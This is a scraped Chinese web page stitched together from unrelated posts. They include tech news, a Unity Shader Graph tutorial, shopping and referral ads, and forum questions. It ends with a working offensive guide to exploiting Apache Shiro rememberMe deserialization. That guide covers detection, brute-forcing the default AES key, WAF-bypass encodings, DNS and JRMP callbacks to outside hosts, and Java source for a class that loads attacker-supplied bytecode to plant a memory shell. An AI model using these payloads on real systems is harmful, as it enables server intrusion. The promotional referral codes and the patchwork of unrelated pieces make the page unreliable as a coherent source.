2026年1月

工作中经常需要写需求、设计文档,中间还要画流程图、数据图、模块图等。
文档还可以自己写内容用 ai 润色,但是图画起来真的头大。
经常能描述出这个意思,但是画出来就不对劲。
--------------------------------------------------------
现在智能体这么多,有根据文字描述生成流程图的工具吗?

plus 会员是越来越没用了,已经很久不在京东买东西了,不过这会员本身便宜,而且买其他会员也会送,所以也就放着吃灰了。

近期发现一个优惠,导致我又捡起来用京东了,分享给大家,也欢迎大家分享自己是怎么用 plus 会员的

如果你的附近有沃尔玛,那么可以在京东搜 京东超市(综合店) ,是自营的,可以买大部分沃尔玛的东西,9.9 起送,plus 免运费,有的商品还有 59-5 或者 59 打 88 折的券。沃集鲜这个自营品牌推出以后,沃尔玛变得真香了很多,山姆的不少产品都有对标的平替,比如肉蛋奶烤鸡之类的

Apple Creator Studio 正式上线

1 月 28 日,Apple 公司正式上线了前不久刚刚公布的创作者工具组 Apple Creator Studio,该系列产品是 Apple 面向专业创作人士推出的一站式捆绑订阅服务,包含了品牌旗下几乎全部的专业创作软件。只需一次订阅,就能获得 Mac 和 iPad 平台的 Pro App 套装、iWork 套件,以及此前收购的专业图像编辑及设计工具 Pixelmator Pro,并包含更多基于 AI 的附加功能。

详细体验可参考《将专业创作工具交到更多人手中:Apple Creator Studio 你也许想了解的那些事》。


月之暗面发布 Kimi K2.5 模型并开源

1 月 27 日,月之暗面团队宣布推出并开源了其最新的 Kimi K2.5 模型。同时,Kimi 智能助手 K2.5 版本也随之上线。用户在聊天介面中原本的 K2 模型已自动切换为 K2.5 版本。

该模型是月之暗面目前最智能的模型,在 Agent、代码、图像、视频及一系列通用智能任务上取得开源 state-of-the-art 表现;同时也是 Kimi 迄今最全能的模型,采用了原生的多模态架构设计,同时支持视觉与文本输入、思考与非思考模式、对话与 Agent 任务。

根据月之暗面方面提供的示例显示,该模型可以基于自然语言指令生成完整的前端页面代码,并处理包含动态布局、滚动触发等在内的交互逻辑。结合视觉能力,Kimi K2.5 可以对用户提供的录屏进行拆解,分析其背后的交互结构,并生成相应的实现代码。

除单一 Agent 能力外,Kimi K2.5 还引入了新的 Agent 集群机制。这一机制允许模型在面对复杂任务时,不再以单一 Agent 形式执行,而是根据任务需求动态生成多个子 Agent,并行完成不同子任务。

随 Kimi K2.5 模型一同发布的还有月之暗面面向开发者的编程工具 Kimi Code。该工具可在命令行环境中运行,并支持与 VS Code、Cursor、JetBrains 系列 IDE 以及 Zed 等主流编辑器集成。

目前,Kimi K2.5 模型已在 Kimi 网站、移动 app 及其 API 开放平台上线。普通用户可通过不同模式使用其功能,开发者和企业也可通过 API 进行调用。来源


英伟达正式推出 RTX Remix Logic

1 月 27 日,英伟达公司更新了其 NVIDIA App,加入了新的 RTX Remix Logic 功能,可以让 MOD 作者不访问源代码的情况下,根据实时游戏事件(如玩家位置、按键输入)动态触发图形特效。譬如,Mod 作者可以通过设定「如果…… 就……」的规则(如「如果玩家走到这里,就开始下雨」),让老游戏的画面能根据玩家的操作实时变化,而且不需要懂复杂的编程代码。

英伟达为了降低技术门槛,引入高度可视化的无代码节点式介面(Node-based Interface)。创作者只需通过简单的拖拽操作,将「触发器」节点与「动作」节点相连,即可构建复杂的交互逻辑。介面配备了专用滑块用于微调参数,并支持在 Remix 编辑器中实时预览效果。

对于资深开发者,该框架还支持插件扩展,允许创建自定义事件触发器。在英伟达的演示中,在《半条命 2》RTX 版里打开一扇门,便能瞬间触发风格迥异的「Ravenholm 多元宇宙」场景。来源


英特尔 XeSS 3 多帧生成功能正式推送

1 月 27 日,英特尔公司开始向 Arc GPU 推送了最新版本的显卡驱动,同步正式为其带来了 XeSS 3 多帧生成特性。

XeSS 3 其核心是一种多帧生成(Multi Frame Generation,MFG)式的升级路线:在每一帧传统渲染画面之后插入最多三帧由 AI 生成的「插值帧」,以此在不增加游戏原生渲染负载的前提下显著提高帧率、提升动画流畅度。 英特尔强调,XeSS 3 依托光流网络,通过游戏中的运动矢量和深度缓冲区来预测和生成这些额外画面。

与部分竞品不同的是,XeSS 3 在每一批 AI 生成帧中只执行一次光流计算,这一设计让算法开发变得更加复杂、周期更长,但有助于在性能与效果之间取得平衡。

除了引入 XeSS 3,本次驱动更新还修复了多项已知问题。其中包括在特定条件下,Pragmata Sketchbook 演示程序在 Arc B 系列独立显卡以及搭载 Arc 核显的 Core Ultra Series 2 处理器上发生崩溃的 Bug 已得到修复;同时英特尔也修正了其显卡软件中在显示设置页面对可变刷新率(VRR)状态报告不准确的错误。来源


Google 升级 Android 16 防盗机制

Google 的 Android 安全团队于 1 月 27 日发文,宣布部署多重「盗窃保护」安全机制,将手机盗窃防护从单纯的找回设备提升至数据与金融安全层面。

针对Android 16 及后续版本设备,谷歌重点强化了「身份检查(Identity Check)」此前仅限非信任地点,而此次更新将其覆盖范围扩展至所有调用安卓生物识别提示(Biometric Prompt)的应用。第三方银行应用和 Android 密码管理器等关键工具可以自动获得系统级的强制生物验证保护,即使窃贼掌握了锁屏密码也无法轻易访问敏感数据。

另外,Google 调整了屏幕解锁的防猜测机制。用户现在可以在设置中找到「身份验证失败锁定」的独立开关,当系统检测到过多的登录尝试失败时,会自动锁定设备。新机制不仅延长了多次尝试失败后的锁定时间,还引入了智能识别算法:如果系统检测到连续输入的错误密码完全相同(例如儿童无意中反复点击同一个位置),将不再计入重试次数。

最后则是针对设备丢失后的补救措施方面,Google 优化了适用于 Android 10+ 设备的「远程锁定」工具。用户在通过远程查找的网页端进行紧急锁机时,可以选择添加一道「安全问答或挑战」,从而验证操作者确为机主本人。来源


少数派的近期动态

  • 我们正在优化并改进新的首页版式,如果你在使用过程中发现了任何问题或者有改进建议,请通过反馈表单告知我们。首页反馈收集
  • 将设计装进耳朵:少数派×飞傲联名 CD 机盖板设计大赛已经开始啦。了解详情
  • 比第三方 Apps 更好使:盘点 Apple 生态经典好用的原生应用。看看都有啥

你可能错过的好文章

> 下载 少数派 2.0 客户端、关注 少数派公众号,解锁全新阅读体验 📰

> 实用、好用的 正版软件,少数派为你呈现 🚀

    【Unity Shader Graph 使用与特效实现】专栏-直达

    在Unity的通用渲染管线(URP)中,Shader Graph作为一款可视化着色器开发工具,其UV节点是连接三维模型与二维纹理的关键桥梁。本文将从基础概念出发,深入剖析UV节点在URP环境下的工作原理、功能特性及实际应用技巧,为开发者提供系统性的技术指导。

    UV节点基础原理

    坐标系统可视化

    Unity采用颜色编码的Gizmo系统直观展示坐标轴方向:

    • X轴:红色通道,对应水平方向
    • Y轴:绿色通道,对应垂直方向
    • Z轴:蓝色通道,对应深度方向

    在UV节点中,坐标值具体映射为:

    • (0,0):UV空间左下角,显示为黑色
    • (1,0):X轴最大值,显示为纯红色
    • (0,1):Y轴最大值,显示为纯绿色
    • (1,1):对角线交点,显示为红绿混合的黄色

    多通道支持

    UV节点提供四组独立通道,各通道用途如下:

    通道默认用途特殊应用场景
    UV0基础纹理常规贴图映射
    UV1法线贴图凹凸细节表现
    UV2光照贴图预计算光照
    UV3自定义程序化纹理

    阶段自适应机制

    根据着色器阶段自动调整UV节点行为:

    • 顶点阶段:输出原始UV坐标
    • 片段阶段:自动执行双线性插值
    • 几何阶段:支持UV变形操作

    URP环境下的特殊配置

    管线兼容性设置

    在URP中需完成以下配置步骤:

    • 创建URP Asset文件
    • 在渲染器资源中启用以下选项:

      • 不透明纹理
      • 透明纹理
    • 配置光照模式为混合模式

    性能优化建议

    优化策略实施方法预期收益
    减少UV计算使用顶点着色器预计算降低片段着色器负载
    动态LOD根据距离切换UV精度提升远距离性能
    烘焙技术预计算复杂UV变换运行时零开销

    核心功能详解

    基础UV映射

    实现步骤

    • 添加UV节点(默认使用UV0通道)
    • 连接至纹理采样器
    • 输出到基础颜色通道

    代码等效

    float2 uv = i.uv0; float4 color = tex2D(_MainTex, uv);

    多通道混合

    法线贴图应用示例

    • UV1节点连接至法线采样器
    • 将结果输入法线通道
    • 基础颜色使用UV0通道

    优势

    • 避免在基础纹理中存储法线信息
    • 支持独立调整各通道精度

    动态UV变换

    旋转效果实现

    • 添加Time节点获取时间值
    • 连接至Rotate节点的角度输入
    • 设置旋转中心为(0.5,0.5)

    参数配置

    • 角度单位:弧度(Radian)
    • 旋转速度:0.5π/秒
    • 中心点:模型几何中心

    高级应用技巧

    程序化纹理生成

    噪声纹理实现

    • 添加Perlin Noise节点
    • 将UV连接至噪声输入
    • 通过数学节点调整频率和振幅

    参数公式

    最终颜色 = 基础色 × (1 + 噪声值 × 强度)

    屏幕空间UV操作

    实现步骤

    • 添加Screen Position节点
    • 连接至UV变换节点
    • 应用于后处理效果

    典型应用

    • 屏幕空间反射
    • 扭曲效果(如热浪)
    • 景深模糊

    三平面映射

    技术原理

    • 计算物体表面法线
    • 根据法线方向投影到三个平面
    • 混合三个方向的纹理

    实现节点

    • Triplanar节点
    • 法线输入
    • 混合权重控制

    常见问题解决方案

    问题1:纹理显示异常

    排查步骤

    • 检查UV范围是否在[0,1]内
    • 验证纹理平铺/偏移设置
    • 确认材质使用正确的UV通道
    • 检查URP渲染设置中的纹理选项

    问题2:性能瓶颈

    优化方案

    • 减少片段着色器的UV计算
    • 使用顶点着色器预计算
    • 对静态对象烘焙UV变换
    • 实施LOD技术

    问题3:URP兼容性问题

    解决方案

    • 确认URP版本与Shader Graph兼容
    • 检查前向渲染器设置
    • 验证所有节点支持URP
    • 必要时使用自定义HLSL代码

    实践案例

    案例1:动态水波纹效果

    实现流程

    • 创建UV动画:

      • 使用Sine节点生成波浪
      • 通过Time节点驱动动画
    • 添加扭曲效果:

      • 使用Displacement节点
      • 控制强度为0.2
    • 混合基础颜色:

      • 添加Lerp节点
      • 设置混合因子为0.5

    案例2:程序化材质生成

    技术要点

    • 创建UV噪声:

      • 使用Voronoi Noise节点
      • 设置单元格大小为0.05
    • 生成裂纹效果:

      • 添加Gradient节点
      • 控制裂纹宽度
    • 添加金属质感:

      • 使用Fresnel节点
      • 设置边缘光强度

    总结

    UV节点在URP Shader Graph中扮演着核心角色,其功能从基础的纹理映射扩展到复杂的程序化材质生成。通过掌握多通道使用、动态变换和高级混合技术,开发者可以创建出既符合URP性能要求又具有丰富视觉表现力的材质效果。随着URP的持续更新,UV节点的功能和应用场景将进一步扩展,为实时渲染提供更多可能性。


    【Unity Shader Graph 使用与特效实现】专栏-直达
    (欢迎

    点赞留言

    探讨,更多人加入进来能更加完善这个探索的过程,🙏)

    因为 AI coding 的加持,现在实现一个“好点子”的成本和效率低的太多了。所以几乎每周你都能看到一款新产品(包括不仅限于模型,agent )的面市并霸榜。随着下一款产品的发布,上一款产品就热度瞬间不在。大部分的周期都不超过一个月,多数都在 2 周。

    你总能发现有营销号,朋友圈或者朋友同事鼓吹它们,事实上它们甚至压根没用深度使用过,当然有的人是拆揣着明白装糊涂。
    
    因此我最近越发感觉,如果你发现,一个人总是频繁的鼓吹这个那个,那这个人的智商(广义上的智商)通常不会很高。
    

    最近听了不少播客,感觉很有意思和各位分享一下,欢迎大家推荐其他有意思的播客。😀
    聊音乐《不在场》
    聊最近新闻《半拿铁周刊》
    哲学杂谈类《独树不成林》
    早新闻类《生动早咖啡》

    EV代码签名证书是什么?

    EV代码签名证书(Extended Validation Code Signing Certificate)是一种高级别的数字签名证书,用于为软件代码、应用程序或驱动程序提供数字签名,确保其来源的真实性、完整性以及未被篡改。与普通的代码签名证书(如OV或DV)相比,EV代码签名证书提供了更高的信任级别,特别适用于需要增强用户信任的商业软件或企业级应用。

    EV代码签名证书的特点与优势

    1. 高信任级别

      EV代码签名证书通过严格的验证流程,向用户证明软件的来源是合法且经过验证的。安装使用此证书签名的应用时,操作系统和浏览器会显示软件签名者的公司名称,增强了用户对软件的信任。

      许多操作系统(如Windows)对EV代码签名证书的支持更加完善,因此具有更强的安全保障,用户会看到明显的“绿色标识”和公司名称。

    2. 更好的防篡改保障

      EV证书为软件的数字签名添加了强有力的加密保护,防止软件在发布后被篡改或感染恶意代码。

    3. 浏览器和操作系统兼容性
    **EV证书**在 Windows 操作系统和主要浏览器(如Chrome、Edge、Firefox等)中都会显示可信标识,增强软件的可信度。特别是在Windows上,EV签名的程序会显示开发者的名称,减少用户看到“未知发布者”的警告。
    
    1. 提高下载率

      由于EV代码签名证书增强了软件的可信度,因此会提高用户下载和安装的意愿。用户在看到签名者是经过验证的知名公司后,会更放心地安装和使用软件。

    2. 保护开发者与用户

      通过数字签名,开发者能够证明软件的完整性,并证明没有任何中间人篡改。对于用户来说,EV签名能够有效防止恶意软件、病毒等的侵害。

    EV代码签名证书的申请流程

    与普通的代码签名证书(如DV、OV)相比,申请EV代码签名证书的过程更加严格,需要经过更为详尽的身份验证,以确保签发证书的公司或开发者的合法性。下面是申请EV代码签名证书的基本步骤:

    点击查看代码签名证书详情

    1. 准备申请所需资料

    在申请EV代码签名证书时,您需要提供以下资料:

    • 公司信息:EV代码签名证书是面向企业/组织的,而不是个人。您需要提供公司的正式注册名称、地址、电话、税务号码等合法公司信息。
    • 公司注册文件:包括公司注册证明、法人代表身份证明、营业执照等,证书颁发机构(CA)会核实您的公司是否为合法存在的企业。
    • 组织验证资料:CA会对您的公司背景进行详细核查,确认公司是否符合申请条件。
    • 域名或组织信息验证:部分CA可能还会要求您提供一些额外的信息,如注册的域名或相关的组织信息,确保您的公司信息的准确性和合法性。

    2. 选择证书颁发机构(CA)并提交申请

    访问CA机构官网:打开JoySSL官方网站注册一个账号。在注册过程中,需要填写特定的注册码230970以获得大额优惠券和技术支持。

    选择证书类型:根据企业需求选择OV或EV证书。

    完成验证:根据要求进行验证,可能涉及企业组织身份验证等。验证通过后,证书将被签发。

    安装证书:在服务器上安装证书,并测试网站是否能够通过HTTPS正常访问。

    🎉 自家耙耙柑开卖啦!
    来自北纬 30°黄金水果带,四川眉山仁寿丘陵沙土地形,“懒人水果”,皮薄肉厚,不用切不脏手,没有核不必吐仔。果皮橙黄软趴趴,果肉粒粒分明,汁水丰盈,富含丰富的维生素和膳食纤维,果肉脆嫩化渣。
    自家果园,树上自然成熟,现摘现发!
    📦 规格说明
    每箱带箱 10 斤
    实重约 9 斤
    约 18 个/箱(大小均匀)
    💰 价格说明
    尝鲜价:50 元 / 箱(限第一箱)
    复购价:55 元 / 箱
    ✅ 北纬 30°四川主产地
    ✅ 自家果园直发
    ✅ 新鲜现摘现发
    📌 温馨提示
    果子为自然成熟现摘,初尝会带一点果酸,放几天口感更甜。
    北方寒冷、下雪地区暂不发货。
    申通快递发货,一般 3 天左右到达。下订单后当天采摘,第二天发货。
    到货请及时检查,如有坏果包赔。
    有任何问题欢迎第一时间联系我,感谢支持 🙏。
    📞 购买联系方式
    微信:ZHhiSGhqbkhqamo=
    淘宝连接: https://item.taobao.com/item.htm?ft=t&id=1017683352854&skuId=6189182962307
    👥 福利群
    微信群入口:
    https://github.com/YunhaiHu/picx-images-hosting/raw/master/daily/04.86u5p83wqj.jpg
    🎁 群福利
    进群即有机会参与
    📅 2 月 2 日 抽奖
    🎉 免费送 6 箱耙耙柑给群友!(包运费)

    这两天金价飙升,大家都谈谈自己的入手价、理想出手价、2026 年的预测吧。我先来。

    入手价:1090/g
    理想出手价格:+30%
    预测 2026 年能到 6000 美元/盎司,但中间有大回调

    还是只获得一个 PD 前缀?
    我这里 ISP 只给个 PD,
    而事情的起因,是我想隐藏内网的一些设备,于是折腾一下 ULA+NAT66 出站,
    ROUTEROS V6 如果接口有个 GUA 比较方便 NAT66 ,否则就要在 PD 里通过脚本举一个出来,需要脚本守护每次 PD 变化进行操作,
    于是就好奇问一下你们的情况?

    目前 30 岁,做了美年大健康的基础体检套餐,还需要补哪些体检项目吗?

    美年大健康基础体检大部分都是很基础的,想来问问大家还有什么必要的健康筛查吗?

    之前看到 微博 CEO 来去之间发了 Manus 积分不够用的吐糟帖子,就想着试试。

    不用不知道,一用吓一跳,网页效果太好了,就是感觉这种代码是有品位的,有设计感。然后让设计了一个用户后台,效果也很出众。

    关键还是服务一条龙,服务器、域名、数据库、支付、流量统计、seo 全部集成,太方便了。

    之前都说 Meta 当了冤大头,花了 20 亿美元买了个套壳。 实际体验过后,并非如此。当然我只是第一天体验,有不同看法的朋友,可以一起讨论下。

    最后:我的积分用完了- -! ,没有体验过的朋友,可以用我的邀请,咱俩各得 5oo 积分

    https://manus.im/invitation/PXJSXVZS9YUQFCR

    一文搞懂Shiro站点打法全思路

    前言:

    作为以Java反序列化为载体的经典老洞Shiro的RememberMe硬编码反序列化攻击,它在攻防演练中屡见不鲜,帮助攻防人员拿下一个又一个点。今天作为安服仔的笔者介绍Shiro硬编码Key反序列化的经典打法。笔者几次护网中都遇到几次Shiro,也总结了一点许经验,在这里与各位师傅们分享。同时作为安服仔我也造轮子搞了款自用的Java漏洞利用工具,本文章也会介绍自用的工具如何在Shiro中进行漏洞利用的。其实换成其他工具也是一样的道理,重要的是思路。

    本文不仅仅限于Shiro,很多情况下Java反序列化黑盒测试也是差不多如此的思路。

    思路:

    思路章节介绍从网站Shiro的识别到内存马打入的完整思路:

    1. 目标网站是否使用Shiro:请求包发送Cookie: rememberMe\=1,返回包中出现deleteMe=1则为Shiro
    2. 加密方式和密钥Key识别:PrincipalCollectionShiroKeyTest
    3. 利用链/中间件环境/JDK版本确认:FindClassByDNS/FindGadgetByDNS/FindClassByBomb
    4. 利用链漏洞利用:直接攻击/字节码分离加载/JRMP反连/ShiroChunkPayload分块传输
    5. Shiro对抗WAF:HTTP请求包变形/Shiro-Base64混淆

    1. 判断网站是否使用Shiro

    第一步:互联网中任何登录框都可能是Shiro,那么该如何判断是否为Shiro呢?

    答案很简单直接在Cookie后面加rememberMe,响应中出现Set-Cookie: rememberMe即为Shiro。像ShiroAttack2和BurpShiroPassiveScan这类工具也是这样判断的

    image-20241214223341-gr8hjcz.png

    2. 加密方式和密钥Key识别

    确定站点为Shiro后,如何测试出它的加密方式和密钥key呢?通过研究发现当Shiro在处理RememberMe时候,如果密钥正确并且反序列化成功返回的是对象是PrincipalCollection,不会触发异常,响应包则不会带上deleteMe的头,所以可以序列化SimplePrincipalCollection对象来测试Shiro的加密方式和key是否正确。学习自:基于SimplePrincipalCollection检测key是否正确

    工具YsoSimple:使用PrincipalCollectionShiroKeyTest利用链来检测当前key是否正确

    -m YsoAttack -g PrincipalCollectionShiroKeyTest --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
    

    最后响应中没有Set-Cookie: rememberMe=deleteMe;即为AES加密模式和密钥Key均正确

    image-20241214223840-dgvuma8.png

    而在实战中通常我们使用ShiroAttack2或者来BurpShiroPassiveScan来批量爆破Shiro的key和加密方式。

    3. Shiro对抗WAF

    通常情况下遇到以下三种情况可判断为攻击被WAF拦截:

    • HTTP请求发出后连接立马被断开
    • HTTP响应码为403
    • HTTP响应中出现WAF的拦截防护页面

    关于Shiro的反序列化绕WAF其实有很多种方式,归类下可以大致分为俩种:

    1. HTTP请求包变形
    2. Shiro-Base64编码混淆

    3.1 HTTP请求包变形

    Shiro的HTTP请求包变形过WAF:

    • HTTP请求方式变形
    • rememberMe前后加内容

    3.1.1 HTTP请求方式变形

    将HTTP请求改为PUT,DELETE,OPTIONS,TRACE,XXXX,或者不加都可以正常触发漏洞,这部分原理可以学习c0ny1师傅的shiro反序列化绕WAF之未知HTTP请求方法文章。

    image-20241214222549-5ivaj3j.png

    image-20241214222602-r4r6eh2.png

    3.1.2 rememberMe前后加内容

    在rememberMe前后都可添加若干个空格或者Tab来触发漏洞

    image-20241214223023-zqs7clw.png

    3.2 Shiro-Base64混淆

    Shiro的Base64混淆过WAF:

    • Base64内容中混淆脏数据
    • Base64后加脏数据

    3.2.1 Base64内容中混淆脏数据

    Shiro时自己实现的Base64的编码和解码:org.apache.shiro.codec.Base64,它的Base64库对数据进行解密时会先剔除些不合法的特殊字符,简单分析下:

    首先发送这样的payload,在Base64编码的字符前面加了俩个$$符,并且注意到在payload最后还有一个"="(这个后面会用到)

    image-20231011005827-nxmpb4x.png

    调试然后在CookieRememberMeManager这里会先获取rememberMe的字段内容,它会先剔除最后一个=等号之后的内容(所以我们也可以在=后面加脏字符来绕waf),然后再base64解码

    image-20231011010534-yb3978b.png

    进入ensurePadding方法然后再进入Base64#decode的逻辑,关键点就在discardNonBase64方法中

    image-20231011011400-6o83plo.png

    如果对某个字节的isBase64判断结果为false,则不会将其添加到加密的数组groomeData中。

    image-20231011011614-dcm7o7g.png

    isBase64方法的内容如下:所以只要让base64Alphabet[octect]==-1则可以不进入加密数组中,octect是ascii码值

    image-20231011011822-r9t35z7.png
    查了下ascii码表然后再对照base64Alphabet,或许可以填充以下字符来做为脏字符。

    image-20231011012209-ti0r9am.png

    最后经过测试Shiro Base64解密会对这些字符进行剔除{'$','#','&','!','%','*','-','.'}

    在YsoSimple工具中添加-shiro-base64WafBypas参数并指定垃圾字符的数量来对Base64数据进行混淆,使用如下:

    -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -shiro-base64WafBypass 150 --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
    

    测试效果:

    image-20241214215703-fo4spu7.png

    3.2.2 Base64后加脏数据

    通过测试发现在Shiro加密的Base64数据后加一个"="等号然后接各种各样的脏数据都能触发漏洞利用:

    image-20241214214703-hr02fsu.png

    这个技巧在leveryd师傅的你的扫描器可以绕过防火墙么?(一)文章中有提及到,php、python、openresty都会不同程度地受Base64变形Payload影响。

    3.3 WAF影响的情况

    实战中遇到过俩次对PrincipalCollectionShiroKeyTest探测AES密钥和加密方式的Payload拦截的情况,通常我们爆破密钥使用ShiroAttack2或者BurpShiroPassiveScan插件,此类工具没有实现Shiro绕WAF的方式。当实战中PrincipalCollectionShiroKeyTest撞到WAF时,可以把绕WAF的方式补充到工具中然后再去爆破。

    4. 利用链/中间件环境/JDK版本确认

    第三步:当我们已经确定Shiro的加密方式和Key,这个点没有理由打不下来。这个时候初级安服可能想着工具一键化利用,但是很多工具不能说是完美打点漏洞利用,因为实战中目标环境也许不出网,没有常见利用链,中间件不是常见中间件,JDK也许高版本,Shiro自身Buggy的ClassLoader的坑。当我们用工具稀里糊涂的操作了半天发现内存马没有打进去,这里面出问题的情况可能很多,到时候肯定一头雾水,所以不如在漏洞利用之前我们就把目标站点环境的情况彻底摸清,到时候漏洞利用时就有清晰的思路。

    4.1 起手式:URLDNS/FindClassByBomb JDK原生利用链初探

    URLDNS:使用URLDNS利用链攻击,当DNS服务器收到请求后证明Shiro反序列化漏洞确系存在并且DNS出网,后续我们使用(FindClassByDNS/FindGadgetByDNS利用链)借助DNS探测目标系统存在的依赖,中间件环境,JDK版本。

    URLDNS:以DNS的方式来探测目标是否dns出网,为后续FindGadgetByDNS探测环境做准备。

    -m YsoAttack -g URLDNS -a "http://tonjwpkypp.dnsns.cn" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
    

    FindClassByBomb:使用FindClassByBomb利用链攻击,当利用链发出后本次响应后有明显的延迟则证明Shiro反序列化漏洞确系存在,如果上述URLDNS测试完后发现DNS不出网,后续我们可以继续使用FindClassByBomb探测目标系统存在的依赖,中间件环境,JDK版本。关于FindClassByBomb利用链的原理可以学习c0ny1大师的文章:构造java探测class反序列化gadget

    -m YsoAttack -g FindClassByBomb -a "java.lang.String|20" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
    

    4.2 探测环境:FindClassByDNS/FindGadgetByDNS/FindClassByBomb

    FindGadgetByDNS:FindClassByDNS和FindGadgetByDNS很类似的,这里介绍FindGadgetByDNS,它可以通过一次性反序列化同时探测目标环境中是否存在某些类,如果这些类存在就会收到这些类相关的DNS请求。关于FindGadgetByDNS利用链的原理可以学习kezibei大师的项目:Urldns

    使用的注意事项:如果WAF有拦截或者中间件限制长度情况下,我们注意不能一次性探测太多因为利用链过长会被拦截

    该利用的局限性:需要DNS出网

    // 使用all探测 FindGadgetByDNS 能探测的所有内容

    -m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:all"
    

    // 对指定的内容进行探测,用竖杠分割开来

    -m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:CommonsBeanutils2|C3P0|Fastjson|Jackson"
    

    FindClassByBomb:当利用链发出后本次响应后有明显的延迟则证明探测的类确系存在。如果目标环境DNS不出网,我们可以使用FindClassByBomb探测目标系统存在的依赖,中间件环境,JDK版本。

    -m YsoAttack -g FindClassByBomb -a "org.apache.catalina.core.StandardContext|20"
    

    4.3 需要探测的内容:OS/依赖/中间件/JDK

    通常我们需要探测的内容有如下,以及我们为什么探测这些:

    • Gadget利用链:利用链是我们漏洞利用重要基石,只有目标系统存在该依赖我们才能利用成功


      • CB系列:注意CB19x,CB18x,CB16x,CB15x的suid均不相同。Shiro自带CB19
      • CC系列:CC10
      • C3P0系列:
      • Web中间件环境:目标Shiro可能跑在Tomcat/SpringMVC/Undertow/Jetty这种web框架下,不同框架种植不同的内存马
      • OS操作系统 windows/linux:后续如果我们分块落地写文件,需要先确定下操作系统
      • JDK版本:jdk版本不同Base64的全限定类名也不同,jdk高版本有Module防护模式

    更多的探测内容:大佬们依据真实场景自行突破......

    5. 利用链漏洞利用

    第五步:有了前面的环境探测铺垫,我们已经把目标环境摸得差不多。此部分我们开始使用利用链进行漏洞利用,每个利用链最终会有不同的利用效果,本部分以CommonsBeautils利用链来介绍几种常见的Shiro利用方式。

    5.1 利用链简单利用

    在已经知晓目标系统依赖的情况下,先通过用dnslog或者sleep的方式测试下,确保我们的利用链能够正常使用,以CommonsBeautils利用链的Templateslmpl模式来举例:

    Templateslmpl利用链dnslog出网测试:

    -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:dnslog:vflbvindls.dnsns.org" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==""
    

    延迟测试:

    -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:sleep:5" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==""
    

    5.2 直接字节码加载

    在目标系统没有任何坑点和限制条件下,直接在HTTP包的rememberMe部分直接发送Payload是最方便的利用方式:

    -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T2992678354900.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
    

    5.3 JRMP反连攻击

    JRMP攻击链的优势如下,可以学习Orange大师的文章:Pwn a CTF Platform with Java JRMP Gadget

    优势:JRMPClient利用链Payload很短;能避免Jetty,Weblogic,Tomcat6.0,undertow此类中间件对TemplatesImpl无法反序列化的情况。

    缺陷:需要TCP出网;目标系统JDK<8u241

    漏洞利用方式分为俩步骤:JRMPListener开启监听,目标系统反序列化JRMPClient2利用链进行反连,目标系统收到JRMPListener发送的序列化数据紧接着反序列化CommonsBeanutils2利用链

    1. JRMPListener开启RMI服务端监听:
    java -cp ysoSimple-1.0.1-all.jar cn.butler.yso.payloads.JRMPListener 2333 CommonsBeanutils2 "Templateslmpl:dnslog:ywsoxsrsvj.dnsns.org"
    
    1. 让目标系统反序列化JRMPClient完成攻击:
    -m YsoAttack -g JRMPClient2 -a "127.0.0.1:2333" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
    

    5.4 字节码分离加载

    在CommonsBeautils利用链的Templateslmpl模式下,因为它载体是代码执行,我们可以通过让TemplatesImpl执行的字节码是个字节码类加载的逻辑,把我们的内存马或真正漏洞利用效果的字节码放在请求体中,达到分离加载的效果。这个能显著减少rememberMe部分的Payload长度,同时漏洞利用也更加灵活。

    实战中经常遇到的中间件是Tomcat和SpringMVC,下面我就按照这俩种来展示:

    5.4.3 springmvc-shiro字节码分离加载

    1. 让Templateslmpl利用链加载"请求体参数类加载的字节码"
    -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T96325784464700.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
    

    T96325784464700.class 内容为读取请求参数classData中的Base64数据并解密然后类加载:

    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
    import java.lang.reflect.Field;  
    import java.lang.reflect.Method;  
    import java.util.List;  
    import org.apache.shiro.codec.Base64;  
    public class T96325784464700 extends AbstractTranslet {  
        public T96325784464700() {  
            try {  
                javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();  
                java.lang.reflect.Field r = request.getClass().getDeclaredField("request");  
                r.setAccessible(true);  
                String classData = request.getParameter("classData");  
                byte\[\] classBytes = org.apache.shiro.codec.Base64.decode(classData);  
                java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class\[\] {  
                    byte\[\].class, int.class, int.class  
                }  
    
                );  
                defineClassMethod.setAccessible(true);  
                Class evilClass = (Class) defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(), new Object\[\] {  
                    classBytes, new Integer(0), new Integer(classBytes.length)  
                }  
    
                );  
                evilClass.newInstance();  
            } catch (Exception var18) {}  
        }  
    }
    
    1. 漏洞利用:在HTTP的remeberMe中填充上述第一步生成的payload,POST的user参数中填充Base64格式内存马:记得URI编码

    image-20241214203447-vloixg9.png

    5.4.2 tomcat-shiro字节码分离加载

    1. 让Templateslmpl利用链加载"请求体参数类加载的字节码"
    -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T96325784464600.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
    

    T96325784464600.class 内容为读取请求参数user中的Base64数据并解密然后类加载:

